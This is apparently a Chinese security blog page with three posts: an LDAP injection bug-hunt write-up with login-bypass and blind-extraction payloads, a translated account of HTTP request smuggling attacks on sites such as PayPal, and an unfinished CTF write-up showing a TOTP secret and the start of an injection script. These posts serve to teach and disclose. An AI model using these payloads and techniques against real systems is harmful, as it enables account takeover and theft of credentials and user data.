从一次漏洞挖掘入门ldap注入

从一次漏洞挖掘入门ldap注入

原文首发于先知:https://xz.aliyun.com/t/5689

在最近的一次测试中,随缘摸到了一个sso系统,留给前台的功能只有登陆。

没有验证码,但是登陆点强制要求每个用户更改强密码,而且除了管理员和测试账号其他大部分都是工号形式,所以不考虑撞库。直接fuzz一把梭

测试过程中发现username对于下面payload会存在两种不同回显
image_1dfitlu921a2l2qg1qlf1ulrpaom.png-64.6kB

image_1dfito82tqcipm01gsb8vt87g13.png-70.4kB

当时我并不理解这种payload是什么库的数据格式。但是看到存在”!”字符时,页面的回显是不同的,而”!”在绝大多数语言中都是取反的表达形式,自然会产生不同的布尔值,那么无疑就是个xxx注入点了

何为LDAP

通过payload的类型,看到是经典的ldap注入语句。一种老协议和数据存储形式了

LDAP协议

LDAP(Lightweight Directory Access Protocol):即轻量级目录访问协议。是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP

LDAP存储

MySQL数据库,数据都是按记录一条条记录存在表中。而LDAP数据库,是树结构的,数据存储在叶子节点上。

LDAP目录中的信息是按照树形结构组织的:

dn:一条记录的位置
dc:一条记录所属的区域
ou:一条记录所属的组织
cn/uid:一条记录的名字/ID

这种树结构非常有利于数据的查询。首先要说明是哪一棵树(dc),然后是从树根到目标所经过的所有分叉(ou),最后就是目标的名字(cn/uid),借用一张图来表明结构如下:

image_1dfivc13p1s9a19421h52facl6120.png-74.2kB

条目&对象类&属性

  • 条目(entry):是目录中存储的基本信息单元,上图每一个方框代表一个entry。一个entry有若干个属性和若干个值,有些entry还能包含子entry

  • 对象类(obejectclass):对象类封装了可选/必选属性,同时对象类也是支持继承的。一个entry必须包含一个objectClass,且需要赋予至少一个值。而且objectClass有着严格的等级之分,最顶层是top和alias。例如,organizationalPerson这个objectClass就隶属于person,而person又隶属于top
    image_1dfj1uep3pjh32v1bbe1oop16jk2d.png-11.8kB

  • 属性(atrribute):顾名思义,用来存储字段值。被封装在objectclass里的,每个属性(attribute)也会分配唯一的OID号码

LDAP查询语句

一个圆括号内的判断语句又称为一个过滤器filter。

( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

逻辑与&

(&(username=Hpdoger)(password=ikun))

查找name属性为Hpdoger并且password属性值为ikun的所有条目

逻辑或|

(|(username=Hpdoger)(displayname=Hpdoger))

查找username或者displayname为Hpdoger的所有条目

特殊说明

除使用逻辑操作符外,还允许使用下面的单独符号作为两个特殊常量

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 
*       ->通配符

另外,默认情况下,LDAP的DN和所有属性都不区分大小写,即在查询时:

(username=Hpdoger) <=> (username=HPDOGER)

LDAP注入

由于LDAP的出现可以追溯到1980年,关于它的漏洞也是历史悠久。LDAP注入攻击和SQL注入攻击相似,利用用户引入的参数生成LDAP查询。攻击者构造恶意的查询语句读取其它数据/跨objectclass读取属性,早在wooyun时代就有师傅详细的剖析了这类漏洞。

上文说到LDAP过滤器的结构和使用得最广泛的LDAP:ADAM和OpenLDAP。然而对于下面两种情况

无逻辑操作符的注入

情景:(attribute=$input)

我们构造输入:$input=value)(injected_filter

代入查询的完整语句就为:

(attribute=value)(injected_filter)

由于一个括号内代表一个过滤器,在OpenLDAP实施中,第二个过滤器会被忽略,只有第一个会被执行。而在ADAM中,有两个过滤器的查询是不被允许的。

因而这类情况仅对于OpenLDAP有一定的影响。

例如我们要想查询一个字段是否存在某值时,可以用$input=x*进行推移,利用页面响应不同判断x*是否查询成功

带有逻辑操作符的注入

(|(attribute=$input)(second_filter))
(&(attribute=$input)(second_filter))

此时带有逻辑操作符的括号相当于一个过滤器。此时形如value)(injected_filter)的注入会变成如下过滤器结构

(&(attribute=value)(injected_filter))(second_filter)

虽然过滤器语法上并不正确,OpenLDAP还是会从左到右进行处理,忽略第一个过滤器闭合后的任何字符。一些LDAP客户端Web组成会忽略第二个过滤器,将ADAM和OpenLDAP发送给第一个完成的过滤器,因而存在注入。

举个最简单的登陆注入的例子,如果验证登陆的查询语句是这样:

(&(USER=$username)(PASSWORD=$pwd)) 

输入$username = admin)(&)(使查询语句变为

(&(USER=admin)(&))((PASSWORD=$pwd)) 

即可让后面的password过滤器失效,执行第一个过滤器而返回true,达到万能密码的效果。

后注入分析

注入大致分为and、or类型这里就不赘述,感兴趣的可以看之前wooyun的文章:
LDAP注入与防御剖析

还有一个joomla的一个userPassword注入实例:
Joomla! LDAP注入导致登录认证绕过漏洞

回到实例

大致了解注入类型,就开始了第一轮尝试

当通配符匹配到用户名时返回
image_1dfj9gu7f1d261ad2o9jao3q082q.png-40.1kB

用户名不存在时返回
image_1dfj9iml33968bod9etnogsu3n.png-49.7kB

构造用户名恒真username=admin)(%26&password=123

image_1dfj9mj071drl59b37j21teu544.png-49.7kB

说明它判断用户的形式并不是(&(USER=$username)(PASSWORD=$pwd)),因为我们查到的用户名是true,但是验证密码false

由于自己也没搞过LDAP的开发..就盲猜后端应该就是这种情况:
执行了(&(USER=$username)(objectclass=xxx))后,取password与$password进行对比

ACTION

那么首先要知道它继承了哪些objectclass?因为树结构都有根,使我们能顺藤摸瓜。首先是top肯定存在,回显如下:
image_1dfje9v39cu01n95u4fqln1ed9.png-36.9kB

但是top的子类太多了,先fuzz一下objectclass的值缩小范围,payload:

username=admin)(objectclass%3d$str

发现存在personuser两个objectclass

再fuzz一下attribute得到的值如下:

username=admin)($str%3d*

image_1dfjehfm71qa71ri11b481mj9183m.png-80.2kB

凭借这些信息去LDAP文档里溯继承链,先去找user类,继承自organizationalPerson
image_1dfjeub3c1dfvnb5dv6k61i7l13.png-67.3kB

同理organizationalperson又是继承自person的,person继承自top,最终的继承链为:

top->person->organizationalperson->user

也就是说这些类存在的属性都可能被调用。很遗憾的是我并没有fuzz到password类型参数,一般来说password会以userPassword的形式存储在person对象中,很多基于ldap的开发demo中也是这样写的。

但是userPassword毕竟也只是person类可选的属性,开发大概率是改名或者重写属性了,这也是这个漏洞没有上升到严重危害的瓶颈点
image_1dfki06dp1sqm147onc11odt3at13.png-127.9kB

不过依然可以注出一些有用的数据。例如所有用户的用户名、邮箱、手机号、姓名、性别等等,说不定以后可以越权修改某账号性别呢-3-

盲注mobile

尝试注入管理员的手机号mobile

username=admin)(mobile=%s*&password=123

image_1dfkgoopj19s4kkkq0sulvmp4m.png-52.6kB

利用通配符不断添加数字,同理邮箱也可以注出来,与sql盲注的思路相同。
image_1dfl7ap4k1pna18bk17ec24166o2n.png-42.3kB

盲注username

毕竟对于sso,收集username是很有用的信息。那么问题来了,我们是可以通过生成字典来遍历存在的用户名,但是这个工作量是指数倍的增长,一天能跑完一个字母开头的就不错了,而且浪费了通配符的作用。

可是又想做到无限迭代把所有用户一个不漏的跑完,passer6y师傅提醒我用笛卡尔积

最后画出来的流程图大致如下:
image_1dfkks6d86j6ra51m7821d3831g.png-87.6kB

最后测试用户大概有1w多,然而这些大部分是测试帐号,未授权的情况下也不能跑具体数据,但也算是验证了思路的可执行性。

总结

网上关于这类漏洞的fuzz思路也比较久远了,第一次接触这种漏洞,若文章思路如果有什么不对的地方还请师傅们斧正。自己对这类漏洞的姿势理解很浅,现在漏洞已经修复,但是如果有师傅对于password的注入有想法,可以私下交流一下

相关链接

https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html
https://www.cnblogs.com/pycode/p/9495808.html
https://zhuanlan.zhihu.com/p/32732045

HTTP Desync Attacks-Smashing into the Cell Next Door

HTTP Desync Attacks-Smashing into the Cell Next Door

文章转载议题:https://www.blackhat.com/us-19/briefings/schedule/index.html#http-desync-attacks-smashing-into-the-cell-next-door-15153(相关文章资源放到文章结尾)

James Kettle - james.kettle@portswigger.net - @albinowax

Abstract

传统上,HTTP请求被视为独立的独立实体。在本文中,我将探讨一种远程、未经身份验证的攻击者能够打破这种隔离并将其请求转接到其他人身上的技术。通过这种技术,我可以在众多商业和军事系统的WEB基础应用上扮演一位操作者,在他们的虚拟环境中使用漏洞,并且在bug bounties中获得超过6万美元

将这些目标作为案例研究,我将向您展示如何巧妙地修改受害者的请求,以将其路由到恶意领域,调用有害的响应。我还将演示在您自己的请求中使用后端重组,攻击基于前端的各种信任,获得对内部API的最大特权访问,投毒Web缓存,并危及paypal的登录页面。

HTTP Request Smuggling(后文称为请求走私)最初是由WatchFire1于2005年记录下来的,但由于其困难和附带损害的可怕名声,使得当Web服务的敏感性增常期间,它大多被忽视。除了新的攻击变种和利用途径之外,我将帮助您使用定制的开源工具和一种改进的方法来处理这一遗留问题,以最小的风险进行可靠的黑盒检测、评估和利用

Core concepts

自HTTP/1.1以来,通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。这个协议非常简单——HTTP请求只需背靠背地放置,服务器解析报头就可以知道每个报头的结束位置和下一个报头的开始位置。这经常与HTTP pipeline2混淆,后者是少见的类型,在本文的攻击描述中不予介绍。

这本身是无害的。然而,现代网站是由一系列的系统组成的,都是通过HTTP进行对话的。此多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP/TLS连接将其路由:
image_1dhtfhnrdqvspfo15j4no1tuqp.png-22.8kB

这意味着,后端与前端关于“每条消息在哪里结束”达成一致是至关重要的。否则,攻击者可能会发送一条不明确的消息,使后端将其解释为两个不同的HTTP请求

image_1dhtfsok51vkp1c6g7rb1sku1gnm1m.png-26kB

这使攻击者能够在下一个合法用户请求开始时预先处理任意内容。在本文中,走私内容将被称为“前缀”,并以橙色突出显示。

让我们假设前端浏览器优先处理第一个内容长度头,后端优先处理第二个内容长度头。从后端的角度来看,TCP流可能看起来像:

image_1dhtg6sgu16rlhn09bi1779smo3q.png-21.7kB

在引擎中,前端浏览器将蓝色和橙色数据转发到后端,后端在发出响应之前只读取蓝色内容。这使得后端套接字受到橙色数据的污染。当合法的绿色请求到达时,它最终附加到橙色内容上,导致意外的响应。

在这个例子中,注入的“G”会破坏绿色用户的请求,他们可能会得到“未知方法GPOST”的响应。

本文中的每个攻击都遵循这个基本格式。WatchFire论文描述了一种称为“反向请求走私”的替代方法,但这依赖于前端和后端系统之间的管道连接,因此很少有选择。

在现实生活中,双content-length技术很少起作用,因为许多系统明智地拒绝具有多个内容长度头的请求。相反,我们将使用分块编码攻击系统-这次我们利用RFC2616规范:

如果接收的消息同时包含传输编码头字段和内容长度头字段,则必须忽略后者

由于规范默许使用传输编码(分块编码和内容长度)处理请求,因此很少有服务器拒绝此类请求。每当我们找到一种方法,从一个服务器上将传输编码头隐藏在一个链中的时,它将返回到使用内容长度,并且我们可以取消整个系统的同步。

您可能不太熟悉分块编码,因为像Burp Suite这样的工具会自动将分块的请求/响应缓冲到常规消息中,以便于编辑。在分块的消息中,正文由0个或多个分块组成。每个块由块大小、换行符和块内容组成。消息以0大小的块终止。以下是使用分块编码进行的简单失步攻击:

image_1dhthci68dal13houlsiv8brk47.png-22.3kB

我们没有在这里隐藏传输编码头,因此此漏洞主要适用于前端根本不支持分块编码的系统,这在使用内容交付网络Akamai的许多网站上都可以看到。

如果后端不支持分块编码,我们需要翻转偏移量:
image_1dhthmclj6hn11mehtq1ko2ikn4k.png-24.6kB

这种技术在相当多的系统上都起作用,但是我们可以通过使传输编码头稍微难以被发现来利用更多的资源,这样一个系统就看不到它。这可以通过使用服务器的HTTP解析中的差异来实现。下面是一些只有部分服务识别传输编码的请求示例:分块头。在本研究中,每个都成功地用于攻破至少一个系统:

image_1dhtj1skk1mim1naa1l2a1toq1ig051.png-52kB

如果前端和后端服务器都有这些处理,那么每个处理都是无害的,否则都是一个重大威胁。有关更多技术,请查看Regilero正在进行的research4.。我们稍后将使用其他技术查看实际示例。

Methodology

请求走私背后的理论是直截了当的,但是不受控制变量的数量和我们对前端所发生事情的完全不了解会导致复杂的情况。

我已经开发了应对这些挑战的技术和工具,并将它们组合成以下简单的方法,我们可以利用这些方法来追查请求的走私漏洞并证明其影响:
image_1dhtjaght12mlo3grs1q0rtko5e.png-19.7kB

Detect

检测请求走私漏洞的明显方法是发出一个含糊不清的请求,然后发出一个正常的“受害者”请求,然后观察后者是否得到意外的响应。但是,这极易受到干扰;如果另一个用户的请求在受害者请求之前击中中毒的套接字,那么他们将得到损坏的响应,我们将不会发现该漏洞。这意味着,在流量很大的网站,如果不在过程中利用大量用户去测试,就很难证明存在请求走私漏洞。即使在没有其他流量的站点上,您也会面临应用程序级异常终止连接所导致的错误否定的风险。

为了解决这个问题,我开发了一种检测策略,它使用一系列消息,使得易受攻击的后端系统挂起并超时连接。这种技术几乎没有误报,可以抵抗应用程序级的行为从而导致的误报,最重要的是,它几乎没有影响其他用户的风险。

假设前端服务器使用Content-Length头,后端使用Transfer-Encoding头。我简称这个目标为cl.te。我们可以通过发送以下请求来检测潜在的请求走私:

image_1dhtjsm7t4jo1tun14v4a174ri5r.png-17.5kB

由于内容长度较短,前端将只转发蓝色文本,后端将在等待下一个块大小时超时。这将导致可观察到的时间延迟。

如果两个服务器都是同步的(te.te或cl.cl),则前端将拒绝该请求,或者两个系统都将无害地处理该请求。最后,如果从另一个角度(te.cl)执行去同步,由于块大小“q”无效,前端将拒绝消息而不将其转发到后端。这可以防止后端套接字中毒。

我们可以使用以下请求安全地检测te.cl去同步:
image_1dhtk3jth1s2k11e51o9h15291qqh68.png-17.4kB

由于“0”分块的终止,前端将只转发蓝色文本,后端将超时等待X到达。

如果Desync以另一种方式发生(cl.te),那么这种方法将使用”X”毒害后端套接字,可能会危害合法用户。幸运的是,通过始终运行首先检测方法,我们可以排除这种可能性。

这些请求可以针对头解析中的任意差异进行调整,并用于通过取消Desynchronize5自动识别请求走私漏洞-一个开发用于帮助此类攻击的开源Burp Suite 扩展。它们现在也用于Burp Suite的scanner。尽管这是一个服务器级的漏洞,但单个域上的不同端点通常路由到不同的目标,因此该技术应单独应用于每个端点。

Confirm

在这一点上,您已经尽了最大努力,而不会给其他用户带来副作用的风险。然而,许多客户不愿意在没有进一步证据的情况下认真对待报告,所以这就是我们将要克服的。证明请求走私的全部危害的下一步是证明后端套接字中毒是可能的。为此,我们将发出一个旨在毒害后端套接字的请求,然后发出一个希望成为毒害受害者的请求,明显地改变了响应。

如果第一个请求导致错误,后端服务器可能会决定关闭连接,丢弃中毒缓冲区并破坏攻击。尝试通过将设计用于接受POST请求的端点作为目标,并保留任何预期的GET/POST参数来避免这种情况。

有些站点有多个不同的后端系统,前端查看每个请求的方法、URL和头,以决定将其路由到何处。如果受害者请求路由到与攻击请求不同的后端,那么攻击将失败。因此,“攻击”和“受害者”请求最初应尽可能相似。

如果目标请求看起来像:
image_1dhv43t4jmhm12pc1rdo1oe61bn86l.png-23.2kB

那么,一次CL.TE毒害攻击尝试看起来像是:
image_1dhv465pn1if7lah1iqrh5st572.png-43.3kB

如果攻击成功,受害者请求(绿色)将得到404响应。

te.cl攻击看起来很相似,但是需要一个封闭块,这意味着我们需要自己指定所有的头,并将受害者请求放在正文中。确保前缀中的内容长度略大于正文:

image_1dhv4boe01rjp1s361dut1c8o8aj7f.png-59.1kB

如果一个站点是运行的,另一个用户的请求可能会击中您之前投毒的套接字,这将使您的攻击失败,并可能使用户不安。因此,此过程通常需要进行几次尝试,在高流量站点上可能需要数千次尝试。所以请谨慎和克制行为

Explore

我将使用一系列真实的网站演示其余的方法。像往常一样,我专门针对那些明确表示愿意通过运行bug奖励计划与安全研究人员合作的公司。多亏了大量涌现的私人程序和不打补丁的习惯,我不得不编写很多案例。在明确声明网站的地方,请记住,它们是少数能够抵御这种攻击的安全网站之一。

现在我们已经确定套接字投毒是可能的,下一步是收集信息,这样我们就可以发动一次全面的攻击。

前端通常会附加和重写HTTP请求头,如x-forwarded-host和x-forwarded-for,以及许多经常难以猜测名称的自定义头。我们的走私请求可能缺少这些头,这可能导致意外的应用程序行为和失败的攻击。

幸运的是,有一个简单的策略另辟蹊径,并且可以看到这些隐藏的header头。这使得我们可以通过手动添加头来恢复功能,甚至可以启用进一步的攻击。

只需在目标应用程序上查找一个反射post参数的页面,对参数进行无序排列,使反射的参数排列最后,稍微增加内容长度,然后将生成的请求进行走私:
image_1dhvv1j72jm7qdm132e1ekoaim7s.png-54.9kB

绿色请求将在其到达login[email]参数之前由前端重写,因此当它被反射回来时,将泄漏所有内部头:

image_1dhvv7g6s1qtlf9ie2l10qs1a8699.png-45.5kB

通过增加Content-Length头,您可以逐步检索更多信息,直到您试图读取超过受害者请求末尾的内容,并且受害者的请求会超时。

有些系统完全依赖于前端系统的安全性,一旦您bypass,您就可以直接为所欲为。在login.new relic.com上,“后端”系统是反代的,因此更改走私的主机头授予我访问不同的新relic系统的权限。最初,我访问的每个内部系统都认为我的请求是通过HTTP发送的,并以重定向方式响应的:

image_1dhvvp3og1rod1iu28cetojpb59m.png-22.2kB

使用前面观察到的x-forwarded-proto头很容易修复:
image_1dhvvq6j81n781hslpqtel1o38a3.png-24.7kB

通过一些目录,我在目标上找到了一个有用的端点:
image_1dhvvt1km1bb81cd82bou11aufag.png-25.3kB

错误消息清楚地告诉我需要某种类型的授权头,但却没有告诉我字段名。我决定尝试前面看到的“x-nr-external-service”头段:
image_1dhvvvrpe1s7v1b1s1sk2ddcml0at.png-29.4kB

不幸的是,这不起作用——它导致了我们在直接访问该URL时已经看到的相同的禁止响应。这表明前端正在使用x-nr-external-service头来指示请求来自Internet,通过走私因此丢失请求头,我们已经诱使系统认为我们的请求来自内部。这是非常有意义的,但没有直接的用处——我们仍然需要缺少的授权头的名称。

此时,我可以将已处理的请求反射技术应用到一系列端点,直到找到一个具有正确请求头的端点。相反,我决定从上一次我的New Relic6中查询一些笔记,这显示了两个非常宝贵的报头-Server-Gateway-Account-Id and Service- Gateway-Is-Newrelic-Admin。使用这些工具,我可以获得对其内部API的完全管理级访问:
image_1di00ssli1mfu1381nml92h1mn4ba.png-78.4kB

New Relic部署了一个修补程序,并将根本原因诊断为F5网关中的一个弱点。据我所知,没有可用的补丁,这意味着在写作的时候这仍然是0day。

Exploit

直接进入内部API确实不错,但它很少是我们唯一的选择。我们还可以针对浏览目标网站的每个人发起大量不同的攻击。

要确定哪些攻击可以应用到其他用户,我们需要了解哪些类型的请求可以被破坏。从“确认”阶段重复套接字中毒测试,但反复调整“受害者”请求,直到它类似于典型的GET请求。您可能会发现,您只能使用某些方法、路径或头毒害请求。另外,尝试从不同的IP地址发出受害者请求-在极少数情况下,您可能会发现您只能对来自同一IP的请求进行毒害。

最后,检查网站是否使用Web缓存-这些可以帮助绕过许多限制,增加我们对哪些资源中毒的控制,并最终增加请求走私漏洞的严重性。

Store

如果应用程序支持编辑或存储任何类型的文本数据,那么利用就非常容易。通过在受害者的请求前加上一个精心设计的存储请求,我们可以让应用程序保存他们的请求并将其显示给我们,然后窃取任何身份验证cookie/headers。下面是一个以Trello为目标的示例,使用其配置文件编辑端点:

image_1di01d7421dui1a81nbepu2btbn.png-54.1kB

一旦受害者的请求到达,它就会保存在我的个人资料中,暴露他们所有的头和cookie:

image_1di01e9oa1c4s19e513t9p564a8c4.png-48.7kB

使用这种技术的唯一主要目的是丢失“&”之后发生的任何数据,这使得从表单编码的post请求中窃取主体很困难。我花了一段时间试图通过使用可选的请求编码来解决这个限制,最终放弃了,但我仍然怀疑这是可能的。

数据存储的机会并不总是如此明显——在另一个网站上,我可以使用“联系我们”表单,最终触发一封包含受害者请求的电子邮件,并获得2500美元的额外收入。

Attack

能够将一个任意前缀应用到其他人的响应中,也打开了另一种攻击途径——触发一个有害的响应。

使用有害反应有两种主要方法。最简单的方法是发出“攻击”请求,然后等待其他人的请求击中后端套接字并触发有害响应。一种更为棘手但更强大的方法是亲自发出“攻击”和“受害者”请求,并希望对受害者请求的有害响应通过Web缓存保存,并提供给访问同一URL的任何其他人-Web缓存中毒。

在以下每个请求/响应片段中,黑色文本是对第二个(绿色)请求的响应。第一个(蓝色)请求的响应被忽略,因为它不相关。

Upgrading XSS

在审计一个SaaS应用程序时,Param Miner7发现了一个名为saml的参数,Burp scaner证实它易受反射XSS的攻击。反射式XSS本身不错,但在规模上很难利用,因为它需要用户交互。

通过请求走私,我们可以对主动浏览网站的随机用户提供包含XSS的响应,从而实现直接的大规模利用。我们还可以访问authentication headers 和仅HTTP cookie,这可能会让我们转到其他域。

image_1di01r6qa1iap8ki1vh0gdg17s9d1.png-70.8kB

Grasping the DOM

www.redhat.com上查找请求走私链的漏洞时,我发现了一个基于DOM的开放重定向,这带来了一个有趣的挑战:
image_1di01vv584rumq9d5r1ormld2de.png-34.5kB

页面上的一些javascript正在从受害者浏览器的查询字符串中读取“redir”参数,但我如何控制它?请求走私使我们能够控制服务器认为查询字符串是什么,但是受害者的浏览器对查询字符串的认知只是了解用户试图访问哪个页面。

我可以通过链接服务器端的非开放重定向来解决这个问题:

image_1di025q9518k91g5dh8drkna2feb.png-70.3kB

受害者浏览器将收到一个301重定向到https://www.redhat.com/assets/x.html?redir=//redat.com@evil.net/,然后执行基于dom的开放重定向并将其转储到evil.net上。

CDN Chaining

有些网站使用多层反向代理和cdn。这给了我们额外的机会去同步,这是一直被赞赏的,它也经常增加严重性

一个目标是不知何故地使用两层Akamai,尽管服务器由同一供应商提供,但仍有可能将它们不同步,因此,在受害者网站的Akamai network中提供不同的内容:
image_1di02gpq91n7jc93pii6hsvseo.png-45.2kB

同样的概念也适用于SaaS提供商——我能够攻破一个建立在知名SaaS平台上的关键网站,将请求定向到建立在同一平台上的不同系统。

‘Harmless’ responses

因为请求走私让我们影响对任意请求的响应,一些通常无害的行为成为可利用的。例如,即使是不起眼的开放式重定向,也可以通过将javascript导入重定向到恶意域来危害帐户。

使用307代码的重定向特别有用,因为在发出post请求后接收307的浏览器将把post重新发送到新的目的地。这可能意味着你可以让不知情的受害者直接将他们的明文密码发送到你的网站。

经典的开放式重定向本身就很常见,但是有一种变体在Web中普遍存在,因为它源于Apache和IIS中的默认行为。它很方便地被认为是无害的,被几乎所有人忽视,因为没有像请求走私这样的伴随的弱点,它确实是无用的。如果尝试访问没有尾随斜杠的文件夹,服务器将使用主机头中的主机名进行重定向以附加斜杠:
image_1di033eund4netio7jsa3nf4f5.png-44.4kB

使用此技术时,请密切关注重定向中使用的协议。您可以使用像x-forwarded-ssl这样的头来影响它。如果它卡在HTTP上,而您攻击的是一个HTTPS站点,那么受害者的浏览器将由于其混合内容保护而阻止连接。有两个已知的例外8-可以完全绕过Internet Explorer的混合内容保护,如果重定向目标在其HSTS缓存中,Safari将自动升级到HTTPS的连接。

Web Cache Poisoning

在尝试对特定网站进行基于重定向的攻击几个小时后,我在浏览器中打开了他们的主页以查找更多的攻击面,并在Dev控制台中发现了以下错误:

image_1di037a5k1iq51f7a19n51jmc600fi.png-18.5kB

无论从哪台机器加载网站,都会发生此错误,并且IP地址看起来非常熟悉。在我的重定向探测期间,在我的受害者请求之前,有人请求了一个图像文件,而中毒的响应被缓存保存了下来。

这是对潜在影响的一个很好的证明,但总的来说并不是一个理想的结果。除了依赖基于超时的检测,没有办法完全消除意外缓存中毒的可能性。也就是说,为了将风险降到最低,你可以:
-确保“受害者”请求有一个缓存阻止程序。

-使用turbo Intruder,尽快发送“受害者”请求。
-尝试创建一个前缀来触发反缓存头的响应,或者一个不太可能被缓存的状态代码。
-在不常用的前端处实施攻击。

Web Cache Deception++

如果我们不尝试减少攻击者/用户混合响应缓存的机会,而是接受它呢?

我们可以尝试用受害者的cookie获取包含敏感信息的响应,而不是使用设计用于导致有害响应的前缀:
image_1di03lb12var1itka221437galfv.png-24.3kB

前端请求:
image_1di03ot516ne1j91u041oh61tu5gs.png-13.1kB

当用户对静态资源的请求到达中毒的套接字时,响应将包含其帐户详细信息,并且缓存将通过静态资源保存这些信息。然后,我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存欺骗攻击的一个新变体。它在两个关键方面更强大——它不需要任何用户交互,也不需要目标站点允许您使用扩展。唯一的陷阱是攻击者无法确定受害者的反应将落在何处。

PayPal

由于请求走私连锁缓存中毒,我能够持续劫持众多JavaScript文件,其中之一是在Paypal的登录页面:https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js.

image_1di03u9lu1fb2tur1n51ekl9loh9.png-61.8kB

但是有一个问题——PayPal的登录页面使用了script-src的csp,它破坏了我的重定向。
image_1di040r7764spvs1orqvbk96rhm.png-23.4kB

起初,这看起来像是纵深防御的胜利。但是,我注意到登录页面在一个动态生成的iframe中加载了c.paypal.com上的一个子页面。此子页没有使用CSP,还导入了我们的有害JS文件。这使我们完全控制了iframe的内容,但是由于同源策略,我们仍然无法从父页面读取用户的Paypal密码。

image_1di0433272ms1vie1ond1n1p1eqqi3.png-40.2kB

我的同事GarethHeyes随后在paypal.com/us/gifts上发现了一个不使用CSP的页面,并导入了我们中毒的JS文件。通过使用我们的JS重定向c.paypal.com iframe到该URL(并在第三次触发我们的JS),我们最终可以从使用Safari或IE登录的所有人访问父和窃取明文Paypal密码。
image_1di0462kcnfm1ik4v7v19q81ue0ig.png-68.3kB

PayPal通过配置Akamai拒绝包含传输编码的请求:chunked header,快速地解决了这个漏洞,并授予了18900美元的赏金。

几周后,在发明和测试一些新的去同步技术时,我决定尝试使用一个换行的头文件:
image_1di048085cfbp1e3b1hmeeddit.png-5.3kB

这似乎使转移编码头对于Akamai来说不可见,成功绕过,并再次授予我控制Paypal的登录页面。PayPal迅速应用了一个更稳健的解决方案,并获得了令人印象深刻的20000美元。(译者跪了2333)

Demo

另一个目标使用了反向代理链,其中一个没有将’\n’视为有效的头终止符。这意味着他们的网络基础设施中相当大的一部分容易受到走私请求的攻击。我录制了一个演示,演示如何使用非同步来有效地识别和利用Bugzilla安装的副本上的漏洞,该副本包含一些非常敏感的信息。

您可以在本白皮书的在线版本https://portswigger.net/blog/http-desync-attacks9中找到该视频。

Defence

像往常一样,安全很简单。如果您的网站没有负载均衡器、cdn和反向代理,那么这种技术就不是一种威胁。引入的层越多,就越容易受到攻击。

每当我讨论攻击技术时,我都会被问到HTTPS是否可以阻止它。一如既往,答案是“不”。也就是说,通过将前端服务器配置为专门使用HTTP/2与后端系统通信,或者完全禁用后端连接重用,可以解决此漏洞的所有变体。或者,您可以确保链中的所有服务器使用相同的配置运行相同的Web服务器软件。

可以通过重新配置前端服务器来解决此漏洞的特定实例,以便在继续路由之前将不明确的请求规范化。对于不想让客户受到攻击的客户来说,这可能是唯一现实可行的解决方案,CloudFlare和Fastly似乎成功地应用了它。

对于后端服务器来说,正常化请求不是一个选项——它们需要彻底拒绝不明确的请求,并删除关联的连接。由于拒绝请求比简单地使其正常化更可能影响合法流量,因此我建议重点防止通过前端服务器进行请求走私。

当你的工具对你不利时,有效的防御是不可能的。大多数Web测试工具在发送请求时都会自动“更正”内容长度头段,从而使请求无法走私。在BurpSuite中,您可以使用Repeater menu禁用此行为-确保您选择的工具具有同等的功能。此外,某些公司和bug赏金平台通过Squid之类的代理来转发测试人员的流量,以便进行监控。这些将管理测试人员发起的任何请求走私攻击,确保公司对该漏洞类的覆盖率为零。

Conclusion

在多年来一直被忽视的研究基础上,我引入了新的技术来取消服务器的同步,并演示了使用大量真实网站作为案例研究来利用结果的新方法。

通过这一点,我已经证明了请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键的功能,容忍不明确的消息是危险的。我还发布了一个方法论和一个开源工具包,帮助人们审计请求走私,证明其影响,并以最小的风险获得奖金。

这一主题仍在研究中,因此我希望本出版物将有助于在未来几年内激发新的去同步技术和开发。

References

  1. https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
  2. https://portswigger.net/blog/turbo-intruder-embracing-the-billion-request-attack
  3. https://tools.ietf.org/html/rfc2616#section-4.4
  4. https://regilero.github.io/tag/Smuggling/
  5. https://github.com/portswigger/desynchronize
  6. https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface 7. https://github.com/PortSwigger/param-miner
  7. https://portswigger.net/blog/practical-web-cache-poisoning#hiddenroutepoisoning
  8. https://portswigger.net/blog/http-desync-attacks

议题原文件

https://pan.baidu.com/s/1ycNVD8Y3EIr4ayEnM9eqew

De1CTF-Giftbox题解

De1CTF-Giftbox题解

这次Web题的难度有阶层,SSRF Me是一个验签的绕过调用python的url_open进行ssrf请求、web4是一道n1ctf的原题,也懒得写wp了。还有两道比较难的,一道是ZSX师傅出的calc,统一三个后端的输出结果,过滤了括号。还有一道魔改了ciscn——2019的滑稽云,更改了溢出区的大小+外带结果。

最后就是Giftbox,不得不说,这是我见过最有小情调的ctf题目。做了一个伪unix页面,存在几个bash命令,和一个登陆功能,在登陆处存在sql注入(需要经过双因子认证)。比赛的时候没做出来,趁着赛题没关复现一下(顺便膜爆恩泽师傅orz..)

image_1dhfn1f0b1ogo5fs163rsqk1c0a9.png-979.2kB

双因子认证

这种认证第一次见,其实是调用pyotp模块去验证,随便输入会报错
image_1dhfn759ve4c17uv1eqv1rpq876m.png-203.2kB

既然是前端发送验证请求,那就应该存在发送的ajax请求包。重点在开发者nodets和请求形式。它提示我们后端用了pyotp.zip的库去验证,而且在请求形式中把secret_key给了我们:GAXG24JTMZXGKZBU

image_1dhfn9snj1dtme3d11eea3nm2v13.png-165.3kB

队内师傅提醒说,python3的pyotp模块也可以根据key生成验证
image_1dhfniaosich1f5b1ptm1jk8t4s1g.png-140.6kB

赛后看到天枢的师傅用xhr发送请求,即前端爆破就可以直接调用topt函数,也是种不错的思路,学习了。

接着就是一个简单的注入

注入

脚本如下,空格会导致程序判断为参数分隔符,所以用/**/替代

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import pyotp as pyotp
import string

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)


